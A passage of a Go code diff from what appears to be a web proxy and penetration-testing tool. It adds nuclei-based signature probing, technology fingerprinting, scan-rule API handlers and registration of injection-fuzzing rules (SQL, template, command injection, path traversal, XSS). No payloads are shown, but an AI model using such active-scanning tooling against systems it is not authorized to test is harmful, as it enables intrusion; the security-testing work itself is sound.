// RuleID is the stable registry id of this rule, for callers that resolve the
// concrete rule from the registry.
func RuleID() string { return ruleID }
func (*Rule) ID() string { return ruleID }
func (*Rule) Name() string { return "Template signatures" }
func (*Rule) Category() detect.Category { return detect.CategoryTemplate }
func (*Rule) Description() string {
return "HTTP request signatures mined from nuclei templates — exposed files, " +
"known-vulnerable fingerprints, misconfigurations, and exposed panels. Fingerprint-" +
"gated: only signatures matching a host's detected technology stack run, plus the " +
"tech-agnostic ones."
}
// CatalogItems maps each loaded signature to a neutral catalog item for the UI.
func (r *Rule) CatalogItems() []activescan.CatalogItem {
sigs, err := r.load()
if err != nil {
return nil
}
out := make([]activescan.CatalogItem, 0, len(sigs))
for i := range sigs {
sig := &sigs[i]
var method string
var paths []string
if len(sig.Requests) > 0 {
method = sig.Requests[0].Method
paths = sig.Requests[0].Paths
}
tech := make([]string, 0, len(sig.RequiresTech))
for _, t := range sig.RequiresTech {
tech = append(tech, t.Name)
}
detail := []activescan.CatalogField{}
add := func(label, value string) {
if value != "" {
detail = append(detail, activescan.CatalogField{Label: label, Value: value})
}
}
if method != "" || len(paths) > 0 {
add("Request", strings.TrimSpace(method+" "+strings.Join(paths, ", ")))
}
add("Required technology", strings.Join(tech, ", "))
add("Tags", strings.Join(sig.Tags, ", "))
add("References", strings.Join(sig.Reference, "\n"))
add("Nuclei ID", sig.NucleiID)
add("Source", sig.Source)
out = append(out, activescan.CatalogItem{
ID: sig.ID,
Name: sig.Name,
Severity: sig.Severity,
Confidence: string(sig.Confidence()),
Target: string(detect.TargetMessage),
Description: sig.Description,
Remediation: sig.Remediation,
Enabled: r.IsItemEnabled(sig.ID),
Detail: detail,
})
}
return out
}
// Run selects the eligible signatures for the target's technology stack and
// probes each, filing a finding per confirmed match.
func (r *Rule) Run(ctx context.Context, t activescan.Target, cfg activescan.Config, deps activescan.RuleDeps, rep activescan.Reporter) error {
sigs, err := r.load()
if err != nil {
return fmt.Errorf("load signatures: %w", err)
}
selected := selectSignatures(sigs, cfg, deps, t.Host, r.DisabledSet)
prog := newSpreader(rep, len(t.URLs), len(selected))
defer prog.finish()
send := httptools.SendDeps{
ProxyAddr: deps.ProxyAddr,
CA: deps.CA,
Store: deps.Store,
MaxRespBytes: maxRespBytes,
}
for _, sig := range selected {
if ctx.Err() != nil {
return ctx.Err()
}
r.runSignature(ctx, t, sig, send, rep)
prog.step()
}
return nil
}
// runSignature probes every request/path of one signature, stopping a request's
// path sweep at the first match when the signature asks for it.
func (r *Rule) runSignature(ctx context.Context, t activescan.Target, sig Signature, send httptools.SendDeps, rep activescan.Reporter) {
for ri := range sig.Requests {
req := &sig.Requests[ri]
for _, path := range req.Paths {
if ctx.Err() != nil {
return
}
raw, err := renderRequest(t.Origin, req, path)
if err != nil {
continue
}
reqCtx, cancel := context.WithTimeout(ctx, perRequestTimeout)
sent, err := httptools.SendViaProxy(reqCtx, raw, t.Scheme, t.Host, send)
cancel()
if err != nil {
continue
}
resp := httptools.ReadResponse(sent.RespRaw)
rp := replacer{baseURL: strings.TrimRight(t.Origin, "/"), host: t.Host}
ok, evidence := evalMatchers(req, resp, rp)
if !ok {
continue
}
rep.Finding(buildFinding(t.Host, t.Origin, path, sent.URL, sig, evidence))
if req.StopAtFirstMatch {
break
}
}
}
}
// buildFinding maps a confirmed match to a detect.Finding in detect's identity
// space, deduped per signature, host and path.
func buildFinding(host, origin, path, sentURL string, sig Signature, evidence string) detect.Finding {
now := time.Now()
u := sentURL
if u == "" {
u = strings.TrimRight(origin, "/") + path
}
detail := sig.Name
if sig.NucleiID != "" {
detail = sig.NucleiID + ": " + sig.Name
}
return detect.Finding{
ID: detect.FindingID(sig.ID, host, path),
RuleID: findingRule,
RuleName: sig.Name,
Category: detect.CategoryTemplate,
Severity: mapSeverity(sig.Severity),
Confidence: confidenceFor(sig),
Target: detect.TargetMessage,
Host: host,
Method: requestMethod(sig),
URL: u,
Detail: detail,
Evidence: evidence,
FirstSeen: now,
LastSeen: now,
EvidenceOffset: -1,
}
}
func requestMethod(sig Signature) string {
if len(sig.Requests) > 0 && sig.Requests[0].Method != "" {
return strings.ToUpper(sig.Requests[0].Method)
}
return "GET"
}
// mapSeverity converts a nuclei severity string to a detect.Severity, defaulting
// to info for an unknown value.
func mapSeverity(s string) detect.Severity {
switch strings.ToLower(strings.TrimSpace(s)) {
case "critical":
return detect.SeverityCritical
case "high":
return detect.SeverityHigh
case "medium":
return detect.SeverityMedium
case "low":
return detect.SeverityLow
default:
return detect.SeverityInfo
}
}
// Confidence is the finding confidence a match of this signature carries, for the
// catalog UI. It is the same value buildFinding files.
func (sig Signature) Confidence() detect.Confidence { return confidenceFor(sig) }
// confidenceFor estimates confidence from matcher strength: a regex or a
// multi-term/status-qualified match is high; a lone word is medium; a bare status
// match is low. Nuclei carries no confidence of its own.
func confidenceFor(sig Signature) detect.Confidence {
hasRegex, words, hasStatus, nonStatus := false, 0, false, false
for _, req := range sig.Requests {
for _, m := range req.Matchers {
switch m.Type {
case "regex":
hasRegex = true
nonStatus = true
case "word":
words += len(m.Words)
nonStatus = true
case "status":
hasStatus = true
case "size":
nonStatus = true
}
}
}
switch {
case hasRegex || (hasStatus && nonStatus) || words > 1:
return detect.ConfidenceHigh
case words == 1 || nonStatus:
return detect.ConfidenceMedium
default:
return detect.ConfidenceLow
}
}
// originPath splits an absolute URL into its path+query, for rendering.
func originPath(raw string) string {
u, err := url.Parse(raw)
if err != nil || u.Path == "" {
return raw
}
if u.RawQuery != "" {
return u.Path + "?" + u.RawQuery
}
return u.Path
}
+15
View File
@@ -44,6 +44,11 @@ func (s *APIServer) resetDetectCursor(seq int) {
s.echoStore.Clear()
}
}
// Technology fingerprinting walks the same sequence numbering, so it resets
// here too; at seq 0 ResetCursor also clears its derived host map.
if s.techEngine != nil {
s.techEngine.ResetCursor(seq)
}
if s.detectScanner == nil {
return
}
@@ -70,3 +75,13 @@ func (s *APIServer) StartEchoLoop(ctx context.Context) {
}
go s.echoEngine.Run(ctx)
}
// StartTechLoop launches the passive technology fingerprinter. Like the echo
// loop it runs unconditionally and no-ops per tick while disabled; it compiles
// the embedded Wappalyzer database on its own goroutine, off the boot path.
func (s *APIServer) StartTechLoop(ctx context.Context) {
if s.techEngine == nil {
return
}
go s.techEngine.Run(ctx)
}
+205 -17
View File
@@ -8,6 +8,7 @@ import (
"strings"
"github.com/BishopFox/joro/internal/activescan"
"github.com/BishopFox/joro/internal/detect"
"github.com/BishopFox/joro/internal/proxy"
)
@@ -32,6 +33,16 @@ type activeScanRequest struct {
RequestID string `json:"requestId,omitempty"` // a captured request to scan
Rules []string `json:"rules,omitempty"` // rule IDs; empty = all
BudgetMs int `json:"budgetMs,omitempty"`
// Template-signature rule options. Tags and Severity narrow which signatures
// run; IgnoreFingerprint skips technology gating and runs every eligible one.
Tags []string `json:"tags,omitempty"`
Severity []string `json:"severity,omitempty"`
IgnoreFingerprint bool `json:"ignoreFingerprint,omitempty"`
// OAST opts out-of-band testing in or out when a listener is configured; nil
// (omitted) leaves it on, false turns it off. It never enables OAST when no
// callback domain is configured — that gate is server-side.
OAST *bool `json:"oast,omitempty"`
}
func (s *APIServer) handleActiveScanStart(w http.ResponseWriter, r *http.Request) {
@@ -68,9 +79,13 @@ func (s *APIServer) handleActiveScanStart(w http.ResponseWriter, r *http.Request
rules := s.activeScanRules.Resolve(req.Rules)
cfg := activescan.Config{
Scope: req.Scope,
Rules: req.Rules,
BudgetMs: req.BudgetMs,
Scope: req.Scope,
Rules: req.Rules,
BudgetMs: req.BudgetMs,
Tags: req.Tags,
Severity: req.Severity,
IgnoreFingerprint: req.IgnoreFingerprint,
NoOAST: req.OAST != nil && !*req.OAST,
}
total, err := activescan.Plan(cfg, target, rules)
if err != nil {
@@ -104,6 +119,8 @@ func (s *APIServer) handleActiveScanStart(w http.ResponseWriter, r *http.Request
Store: s.store,
Scope: s.scope,
DataDir: s.cfg.DataDir,
Tech: s.techStore(),
Callback: s.cbStore,
},
}
// context.Background, not the request's: a scan outlives the HTTP call.
@@ -130,7 +147,11 @@ func (s *APIServer) resolveScanTarget(req activeScanRequest) (activescan.Target,
}
}
// hostTarget collects a host's unique GET URLs from the capture store.
// hostTarget collects a host's distinct requests from the capture store, carrying
// the raw bytes and method so the injection rules can fuzz parameters (GET query +
// POST/PUT/PATCH bodies) and DOM XSS can navigate the GET pages. Distinct by
// method+URL+body-shape, so two POSTs to one URL with different bodies both count.
// Not capped by a request count — the scan budget bounds the work.
func (s *APIServer) hostTarget(origin string) (activescan.Target, error) {
u, err := url.Parse(origin)
if err != nil || u.Host == "" {
@@ -140,25 +161,26 @@ func (s *APIServer) hostTarget(origin string) (activescan.Target, error) {
seen := map[string]bool{}
var urls []activescan.TargetURL
for _, cr := range reqs {
if !strings.EqualFold(cr.Method, "GET") || seen[cr.URL] {
key := fmt.Sprintf("%s %s %d", cr.Method, cr.URL, len(cr.ReqRaw))
if seen[key] {
continue
}
seen[cr.URL] = true
urls = append(urls, activescan.TargetURL{URL: cr.URL, Method: "GET", RequestID: cr.ID})
if len(urls) >= activescan.MaxURLs {
break
}
seen[key] = true
urls = append(urls, activescan.TargetURL{URL: cr.URL, Method: cr.Method, RequestID: cr.ID, RawReq: cr.ReqRaw})
}
if len(urls) == 0 {
return activescan.Target{}, fmt.Errorf("no captured GET endpoints for %s", origin)
return activescan.Target{}, fmt.Errorf("no captured endpoints for %s", origin)
}
return activescan.Target{Scheme: u.Scheme, Host: u.Host, Origin: origin, URLs: urls}, nil
}
// requestTarget builds a single-URL target from a captured request or a raw URL.
// requestTarget builds a single-request target from a captured request or a raw
// URL, carrying the raw bytes and method for the injection rules.
func (s *APIServer) requestTarget(req activeScanRequest) (activescan.Target, error) {
rawURL := strings.TrimSpace(req.URL)
method := "GET"
requestID := ""
var rawReq []byte
if req.RequestID != "" {
cr := s.store.Get(req.RequestID)
if cr == nil {
@@ -166,6 +188,8 @@ func (s *APIServer) requestTarget(req activeScanRequest) (activescan.Target, err
}
rawURL = cr.URL
requestID = cr.ID
method = cr.Method
rawReq = cr.ReqRaw
}
if rawURL == "" {
return activescan.Target{}, fmt.Errorf("a request scan needs a requestId or url")
@@ -178,7 +202,7 @@ func (s *APIServer) requestTarget(req activeScanRequest) (activescan.Target, err
Scheme: u.Scheme,
Host: u.Host,
Origin: u.Scheme + "://" + u.Host,
URLs: []activescan.TargetURL{{URL: rawURL, Method: "GET", RequestID: requestID}},
URLs: []activescan.TargetURL{{URL: rawURL, Method: method, RequestID: requestID, RawReq: rawReq}},
}, nil
}
@@ -191,7 +215,11 @@ func (s *APIServer) filterInScope(urls []activescan.TargetURL) (kept []activesca
skipped++
continue
}
if s.scope.InScope(u.Host, "GET", u.Path) {
method := tu.Method
if method == "" {
method = "GET"
}
if s.scope.InScope(u.Host, method, u.Path) {
kept = append(kept, tu)
} else {
skipped++
@@ -200,6 +228,19 @@ func (s *APIServer) filterInScope(urls []activescan.TargetURL) (kept []activesca
return kept, skipped
}
// activeRuleSeverity is the representative severity shown for a single-row active
// rule in the Rules UI; the actual findings carry their own confirmed severity.
func activeRuleSeverity(cat detect.Category) detect.Severity {
switch cat {
case detect.CategorySQLi, detect.CategorySSTI, detect.CategoryCommandInjection:
return detect.SeverityCritical
case detect.CategoryOpenRedirect:
return detect.SeverityMedium
default:
return detect.SeverityHigh
}
}
func (s *APIServer) handleActiveScanRules(w http.ResponseWriter, r *http.Request) {
if !s.activeScanAvailable(w) {
return
@@ -207,10 +248,23 @@ func (s *APIServer) handleActiveScanRules(w http.ResponseWriter, r *http.Request
rules := s.activeScanRules.All()
out := make([]map[string]any, 0, len(rules))
for _, rule := range rules {
out = append(out, map[string]any{
entry := map[string]any{
"id": rule.ID(), "name": rule.Name(), "category": string(rule.Category()),
"enabled": s.activeScanRules.IsEnabled(rule.ID()),
})
"description": rule.Description(),
"enabled": s.activeScanRules.IsEnabled(rule.ID()),
}
// hasSignatures tells the UI to render the rule's catalog items as rows rather
// than the rule as a single row: any rule implementing Cataloger has a catalog.
_, hasCatalog := rule.(activescan.Cataloger)
entry["hasSignatures"] = hasCatalog
// A single-row rule carries the row's severity/confidence/target (its
// representative class severity); a catalog rule's rows carry their own.
if !hasCatalog {
entry["severity"] = string(activeRuleSeverity(rule.Category()))
entry["confidence"] = string(detect.ConfidenceHigh)
entry["target"] = string(detect.TargetMessage)
}
out = append(out, entry)
}
writeJSON(w, http.StatusOK, map[string]any{"rules": out})
}
@@ -240,6 +294,140 @@ func (s *APIServer) handleSetActiveScanRuleEnabled(w http.ResponseWriter, r *htt
writeJSON(w, http.StatusOK, map[string]any{"enabled": body.Enabled})
}
// collectDisabledItems gathers every catalog rule's disabled item ids, keyed by rule
// id, for the project file. Returns nil when nothing is disabled (exceptions-only).
func (s *APIServer) collectDisabledItems() map[string][]string {
if s.activeScanRules == nil {
return nil
}
out := map[string][]string{}
for _, rule := range s.activeScanRules.All() {
if c, ok := rule.(activescan.Cataloger); ok {
if d := c.DisabledItems(); len(d) > 0 {
out[rule.ID()] = d
}
}
}
if len(out) == 0 {
return nil
}
return out
}
// applyDisabledItems distributes a rule-keyed disabled-items map back onto the catalog
// rules on a project restore; a missing key clears that rule's set (everything enabled).
func (s *APIServer) applyDisabledItems(m map[string][]string) {
if s.activeScanRules == nil {
return
}
for _, rule := range s.activeScanRules.All() {
if c, ok := rule.(activescan.Cataloger); ok {
c.SetDisabledItems(m[rule.ID()])
}
}
}
// disabledItemsSignature fingerprints every catalog rule's disabled set for the
// autosave dirty-check (registration order is stable, so the string is deterministic).
func (s *APIServer) disabledItemsSignature() string {
if s.activeScanRules == nil {
return ""
}
var b strings.Builder
for _, rule := range s.activeScanRules.All() {
if c, ok := rule.(activescan.Cataloger); ok {
b.WriteString("/ci:" + rule.ID() + ":" + strings.Join(c.DisabledItems(), ","))
}
}
return b.String()
}
// catalogRule returns the rule with the given id as a Cataloger, or nil if the rule
// does not exist or has no catalog. It replaces the old templatesig-specific resolver,
// so any catalog rule (template signatures, the injection rules) works generically.
func (s *APIServer) catalogRule(id string) activescan.Cataloger {
if s.activeScanRules == nil {
return nil
}
c, _ := s.activeScanRules.Get(id).(activescan.Cataloger)
return c
}
// handleActiveScanSignatures returns a rule's read-only catalog — one item per
// signature or check, with its enabled-state and per-severity counts.
func (s *APIServer) handleActiveScanSignatures(w http.ResponseWriter, r *http.Request) {
if !s.activeScanAvailable(w) {
return
}
rule := s.catalogRule(r.PathValue("id"))
if rule == nil {
writeError(w, http.StatusNotFound, "no catalog for this rule")
return
}
items := rule.CatalogItems()
bySeverity := map[string]int{}
for i := range items {
bySeverity[items[i].Severity]++
}
writeJSON(w, http.StatusOK, map[string]any{
"signatures": items, "total": len(items), "bySeverity": bySeverity,
})
}
// handleSetActiveScanSignaturesBulk enables or disables every item of a rule's
// catalog in one call — the "Enable all / Disable all" control.
func (s *APIServer) handleSetActiveScanSignaturesBulk(w http.ResponseWriter, r *http.Request) {
if !s.activeScanAvailable(w) {
return
}
rule := s.catalogRule(r.PathValue("id"))
if rule == nil {
writeError(w, http.StatusNotFound, "no catalog for this rule")
return
}
var body struct {
Enabled bool `json:"enabled"`
}
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
if body.Enabled {
rule.SetDisabledItems(nil)
} else {
items := rule.CatalogItems()
ids := make([]string, 0, len(items))
for i := range items {
ids = append(ids, items[i].ID)
}
rule.SetDisabledItems(ids)
}
writeJSON(w, http.StatusOK, map[string]any{"enabled": body.Enabled})
}
// handleSetActiveScanSignatureEnabled toggles one catalog item of a rule. Rule-scoped
// because check ids (e.g. "time-based") can repeat across rules. Persists with the
// project (projectSignature carries the disabled set), like the rule toggle.
func (s *APIServer) handleSetActiveScanSignatureEnabled(w http.ResponseWriter, r *http.Request) {
if !s.activeScanAvailable(w) {
return
}
rule := s.catalogRule(r.PathValue("id"))
if rule == nil {
writeError(w, http.StatusNotFound, "no catalog for this rule")
return
}
var body struct {
Enabled bool `json:"enabled"`
}
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
rule.SetItemEnabled(r.PathValue("itemId"), body.Enabled)
writeJSON(w, http.StatusOK, map[string]any{"enabled": body.Enabled})
}
func (s *APIServer) handleActiveScanListRuns(w http.ResponseWriter, r *http.Request) {
if !s.activeScanAvailable(w) {
return
+36 -6
View File
@@ -20,6 +20,7 @@ import (
"github.com/BishopFox/joro/internal/detect"
"github.com/BishopFox/joro/internal/echo"
"github.com/BishopFox/joro/internal/proxy"
"github.com/BishopFox/joro/internal/techfp"
"github.com/hashicorp/go-uuid"
)
@@ -233,6 +234,16 @@ type projectConfigFile struct {
// touched them decodes to nil and runs every rule — no normalize gate needed,
// for the same reason EchoConfig/Chains above need none.
ActiveScanDisabledRules []string `json:"activeScanDisabledRules,omitempty"`
// ActiveScanDisabledSignatures is the legacy (schema v11) flat list of disabled
// template-signature IDs. Read-only now: it is folded into
// ActiveScanDisabledItems["templatesig"] on load so old projects still restore.
ActiveScanDisabledSignatures []string `json:"activeScanDisabledSignatures,omitempty"`
// ActiveScanDisabledItems holds each catalog rule's disabled item IDs, keyed by
// rule id (schema v12). Generalizes ActiveScanDisabledSignatures to every rule
// with a catalog (template signatures + the injection rules). Exceptions-only.
ActiveScanDisabledItems map[string][]string `json:"activeScanDisabledItems,omitempty"`
}
// encodePluginStates base64-encodes each blob for transport inside a JSON
@@ -373,14 +384,15 @@ func (s *APIServer) buildProjectConfig(autoSave, saveHistory bool) projectConfig
if s.activeScanRules != nil {
activeScanDisabled = s.activeScanRules.Disabled()
}
activeScanDisabledItems := s.collectDisabledItems()
return projectConfigFile{
// v10 added ActiveScanDisabledRules; v9 added EchoConfig; v8 added Chains;
// v7 added AutomationStates. None needs a normalizeProjectConfig gate: all
// decode to nil when absent, which is the correct default — a backfill
// exists only where the zero value would be wrong, as it was for autoSave
// and detectEnabled.
Version: 10,
// v12 generalized disabled signatures to ActiveScanDisabledItems (per-rule
// catalog disables); v10 added ActiveScanDisabledRules; v9 added EchoConfig; v8
// Chains; v7 AutomationStates. None needs a normalizeProjectConfig gate: all
// decode to nil when absent, which is the correct default — and the legacy v11
// ActiveScanDisabledSignatures is folded into the map on apply.
Version: 12,
AutoSave: autoSave,
SaveHistory: saveHistory,
ListenerURL: listenerURL,
@@ -415,6 +427,7 @@ func (s *APIServer) buildProjectConfig(autoSave, saveHistory bool) projectConfig
Chains: s.chainStore.List(),
EchoConfig: echoCfg,
ActiveScanDisabledRules: activeScanDisabled,
ActiveScanDisabledItems: activeScanDisabledItems,
}
}
@@ -614,6 +627,7 @@ func (s *APIServer) liveStateSignature() string {
if s.activeScanRules != nil {
activeScanSig = "/as" + strings.Join(s.activeScanRules.Disabled(), ",")
}
activeScanSig += s.disabledItemsSignature()
return fmt.Sprintf("r%d/s%d/n%d/u%d/h%d/sc%s/rp%d/cd%d/no%d/lc%d.%d",
reqCount, lastSeq, noteCount, maxNoteUpdate, hlCount,
scopeSignature(s.scope.Rules()), len(s.replace.Rules()),
@@ -840,6 +854,14 @@ func (s *APIServer) applyProjectConfig(cfg *projectConfigFile, name string, pres
if s.activeScanRules != nil {
s.activeScanRules.SetDisabled(cfg.ActiveScanDisabledRules)
}
// Per-catalog-item disables, keyed by rule id; a missing key clears that rule's
// set. Fold the legacy v11 flat signature list into the template rule's entry so
// old project files still restore.
items := cfg.ActiveScanDisabledItems
if items == nil && len(cfg.ActiveScanDisabledSignatures) > 0 {
items = map[string][]string{"templatesig": cfg.ActiveScanDisabledSignatures}
}
s.applyDisabledItems(items)
// Apply team server settings.
s.mu.Lock()
@@ -945,6 +967,14 @@ func (s *APIServer) applyProjectConfig(cfg *projectConfigFile, name string, pres
detectResp := s.applyDetectProjectConfig(cfg)
s.resetDetectCursor(s.store.LastSeq())
// The fingerprint cursor was just parked forward past the loaded history, so the
// live loop would skip it. Backfill the loaded hosts with a background rescan —
// tech data is cheap and tag-only (unlike detect's findings, which is why detect
// requires an explicit rescan). Clear:true drops the previous project's tags.
if s.techEngine != nil && s.store.Count() > 0 {
s.techEngine.StartRescan(s.detectBackgroundCtx(), techfp.RescanRequest{Scope: "all", Clear: true})
}
var unknownPluginStates []string
if s.pluginManager != nil {
unknownPluginStates = s.pluginManager.ApplyProjectStates(decodedPluginStates)
+110
View File
@@ -0,0 +1,110 @@
package api
import (
"net/http"
"github.com/BishopFox/joro/internal/techfp"
)
// techStore returns the fingerprint store, or nil when fingerprinting is not
// wired (listener/team-server mode). The active-scan rule reads it to gate checks.
func (s *APIServer) techStore() *techfp.Store {
if s.techEngine == nil {
return nil
}
return s.techEngine.Store()
}
// techAvailable rejects requests when fingerprinting is not wired, as in listener
// and team-server mode. The routes are also behind the proxy-mode gate in
// registerRoutes.
func (s *APIServer) techAvailable(w http.ResponseWriter) bool {
if s.techEngine == nil {
writeError(w, http.StatusNotFound, "technology fingerprinting is unavailable in this mode")
return false
}
return true
}
// handleListTechHosts returns every fingerprinted host and the summary counts.
func (s *APIServer) handleListTechHosts(w http.ResponseWriter, r *http.Request) {
if !s.techAvailable(w) {
return
}
hosts, techs := s.techEngine.Store().Summary()
writeJSON(w, http.StatusOK, map[string]any{
"enabled": s.techEngine.Enabled(),
"hosts": s.techEngine.Store().Hosts(),
"summary": map[string]int{"hosts": hosts, "techs": techs},
"scan": s.techEngine.Status(),
})
}
// handleStartTechScan re-fingerprints captured history (all hosts, or one when
// scope is "host"). Backfills a loaded project's hosts, which the live cursor skips.
func (s *APIServer) handleStartTechScan(w http.ResponseWriter, r *http.Request) {
if !s.techAvailable(w) {
return
}
var req techfp.RescanRequest
if err := decodeJSONOptional(r, &req, maxJSONBody); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
status, err := s.techEngine.StartRescan(s.detectBackgroundCtx(), req)
if err == techfp.ErrScanRunning {
writeError(w, http.StatusConflict, err.Error())
return
}
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
writeJSON(w, http.StatusOK, status)
}
// handleGetTechScan returns the current rescan status.
func (s *APIServer) handleGetTechScan(w http.ResponseWriter, r *http.Request) {
if !s.techAvailable(w) {
return
}
writeJSON(w, http.StatusOK, s.techEngine.Status())
}
// handleCancelTechScan stops a running rescan.
func (s *APIServer) handleCancelTechScan(w http.ResponseWriter, r *http.Request) {
if !s.techAvailable(w) {
return
}
s.techEngine.Cancel()
writeJSON(w, http.StatusOK, s.techEngine.Status())
}
// handleGetTechHost returns one host's technology set.
func (s *APIServer) handleGetTechHost(w http.ResponseWriter, r *http.Request) {
if !s.techAvailable(w) {
return
}
ht, ok := s.techEngine.Store().Host(r.PathValue("host"))
if !ok {
writeError(w, http.StatusNotFound, "no technologies recorded for this host")
return
}
writeJSON(w, http.StatusOK, ht)
}
// handleSetTechEnabled toggles passive fingerprinting.
func (s *APIServer) handleSetTechEnabled(w http.ResponseWriter, r *http.Request) {
if !s.techAvailable(w) {
return
}
var body struct {
Enabled bool `json:"enabled"`
}
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
s.techEngine.SetEnabled(body.Enabled)
writeJSON(w, http.StatusOK, map[string]any{"enabled": body.Enabled})
}
+13
View File
@@ -178,6 +178,9 @@ func registerRoutes(s *APIServer, mux *http.ServeMux) {
// scope off is never rejected), proxy-mode only, one run at a time.
mux.HandleFunc("GET /api/v1/activescan/rules", s.handleActiveScanRules)
mux.HandleFunc("PUT /api/v1/activescan/rules/{id}/enabled", s.handleSetActiveScanRuleEnabled)
mux.HandleFunc("GET /api/v1/activescan/rules/{id}/signatures", s.handleActiveScanSignatures)
mux.HandleFunc("PUT /api/v1/activescan/rules/{id}/signatures/enabled", s.handleSetActiveScanSignaturesBulk)
mux.HandleFunc("PUT /api/v1/activescan/rules/{id}/signatures/{itemId}/enabled", s.handleSetActiveScanSignatureEnabled)
mux.HandleFunc("POST /api/v1/activescan/runs", s.handleActiveScanStart)
mux.HandleFunc("GET /api/v1/activescan/runs", s.handleActiveScanListRuns)
mux.HandleFunc("GET /api/v1/activescan/runs/{id}", s.handleActiveScanGetRun)
@@ -229,6 +232,16 @@ func registerRoutes(s *APIServer, mux *http.ServeMux) {
mux.HandleFunc("GET /api/v1/echo/scan", s.handleGetEchoScan)
mux.HandleFunc("POST /api/v1/echo/scan/cancel", s.handleCancelEchoScan)
// Technology fingerprinting (the embedded Wappalyzer database). UI-only, like
// echo: a passive read of captured traffic that names the stack each host
// serves, which the active-scan rule reads to gate its checks.
mux.HandleFunc("GET /api/v1/tech/hosts", s.handleListTechHosts)
mux.HandleFunc("GET /api/v1/tech/hosts/{host}", s.handleGetTechHost)
mux.HandleFunc("PUT /api/v1/tech/enabled", s.handleSetTechEnabled)
mux.HandleFunc("POST /api/v1/tech/scan", s.handleStartTechScan)
mux.HandleFunc("GET /api/v1/tech/scan", s.handleGetTechScan)
mux.HandleFunc("POST /api/v1/tech/scan/cancel", s.handleCancelTechScan)
// Web shell generator
mux.HandleFunc("POST /api/v1/generate", s.handleGenerate)
+25
View File
@@ -16,7 +16,14 @@ import (
"time"
"github.com/BishopFox/joro/internal/activescan"
"github.com/BishopFox/joro/internal/activescan/cmdi"
"github.com/BishopFox/joro/internal/activescan/domxss"
"github.com/BishopFox/joro/internal/activescan/openredirect"
"github.com/BishopFox/joro/internal/activescan/pathtraversal"
"github.com/BishopFox/joro/internal/activescan/reflectedxss"
"github.com/BishopFox/joro/internal/activescan/sqli"
"github.com/BishopFox/joro/internal/activescan/ssti"
"github.com/BishopFox/joro/internal/activescan/templatesig"
"github.com/BishopFox/joro/internal/anomaly"
"github.com/BishopFox/joro/internal/apiscan"
"github.com/BishopFox/joro/internal/automation"
@@ -40,6 +47,7 @@ import (
"github.com/BishopFox/joro/internal/proxy"
"github.com/BishopFox/joro/internal/sliver"
"github.com/BishopFox/joro/internal/team"
"github.com/BishopFox/joro/internal/techfp"
"github.com/BishopFox/joro/internal/trigger"
"github.com/BishopFox/joro/internal/update"
"github.com/BishopFox/joro/internal/webhook"
@@ -144,6 +152,11 @@ type APIServer struct {
echoEngine *echo.Engine
echoStore *echo.Store
// Passive technology fingerprinting (the embedded Wappalyzer database). Nil
// outside proxy mode. The active-scan signature rule reads its store to run
// only the checks a host's stack warrants. See internal/techfp.
techEngine *techfp.Engine
// detectCtx is the server-lifetime context, so a rescan job can outlive the
// HTTP request that started it. Guarded by mu.
detectCtx context.Context
@@ -327,11 +340,23 @@ func New(
s.echoEngine = echo.NewEngine(
s.echoStore, store, scope, detectFindings,
hub.Broadcast(), s.broadcastDetectSummary)
// Passive technology fingerprinting over the same capture store. Built here so
// it rides the one cursor-reset path (resetDetectCursor) the other passive
// analyzers use.
s.techEngine = techfp.NewEngine(techfp.NewStore(), store, hub.Broadcast())
// Active-scan rule set. The registry is built here (not a package global, per
// the no-globals rule) so the api layer can import both activescan and its
// rules without an import cycle.
s.activeScanRules = activescan.NewRegistry()
s.activeScanRules.Register(domxss.New())
s.activeScanRules.Register(templatesig.New())
// Injection-fuzzing rules (parameter mutation + differential/timing/OAST).
s.activeScanRules.Register(reflectedxss.New())
s.activeScanRules.Register(sqli.New())
s.activeScanRules.Register(ssti.New())
s.activeScanRules.Register(cmdi.New())
s.activeScanRules.Register(openredirect.New())
s.activeScanRules.Register(pathtraversal.New())
// Both stores are built here rather than in SetAutomation, because both outlive
// automation: a webhook references a trigger, and neither needs an agent to be useful.
// See initTriggers for why the trigger store moved out of newScriptManager.
+27 -3
View File
@@ -131,13 +131,33 @@ const (
// CDP, not the passive rule engine — the payload never reaches the server, so
// no captured response could reveal it.
CategoryDOMXSS Category = "dom-xss"
// CategoryTemplate holds results from the template-signature rule: a crafted
// request Joro sent whose response matched a check mined from a nuclei template
// (an exposed file, a known-vulnerable fingerprint, a misconfiguration). It
// names the finding class, not the mechanism — DOM XSS is also active-scanned
// but is its own class (CategoryDOMXSS). Both come from internal/activescan,
// not the passive engine: the probe is sent, not observed in captured traffic.
CategoryTemplate Category = "template"
// The injection classes below come from internal/activescan's parameter-fuzzing
// rules: Joro injected a payload into a request parameter and confirmed the
// vulnerability from the response (reflection/breakout, DB error, boolean or
// timing differential, rendered expression, redirect, file contents) or an
// out-of-band callback. Each is its own class, not the mechanism.
CategoryReflectedXSS Category = "reflected-xss"
CategorySQLi Category = "sqli"
CategorySSTI Category = "ssti"
CategoryCommandInjection Category = "command-injection"
CategoryOpenRedirect Category = "open-redirect"
CategoryPathTraversal Category = "path-traversal"
)
// Categories lists every category. See Severities.
var Categories = []Category{
CategorySecrets, CategoryPII, CategoryCredentials, CategoryAccess,
CategoryDisclosure, CategoryHeaders, CategoryCookies, CategoryAnomaly,
CategoryReflection, CategoryDOMXSS,
CategoryReflection, CategoryDOMXSS, CategoryTemplate,
CategoryReflectedXSS, CategorySQLi, CategorySSTI, CategoryCommandInjection,
CategoryOpenRedirect, CategoryPathTraversal,
}
// Valid reports whether c is a known category.
@@ -145,7 +165,9 @@ func (c Category) Valid() bool {
switch c {
case CategorySecrets, CategoryPII, CategoryCredentials, CategoryAccess,
CategoryDisclosure, CategoryHeaders, CategoryCookies, CategoryAnomaly,
CategoryReflection, CategoryDOMXSS:
CategoryReflection, CategoryDOMXSS, CategoryTemplate,
CategoryReflectedXSS, CategorySQLi, CategorySSTI, CategoryCommandInjection,
CategoryOpenRedirect, CategoryPathTraversal:
return true
}
return false
@@ -156,7 +178,9 @@ func AllCategories() []Category {
return []Category{
CategorySecrets, CategoryCredentials, CategoryPII, CategoryAccess,
CategoryDisclosure, CategoryHeaders, CategoryCookies, CategoryAnomaly,
CategoryReflection, CategoryDOMXSS,
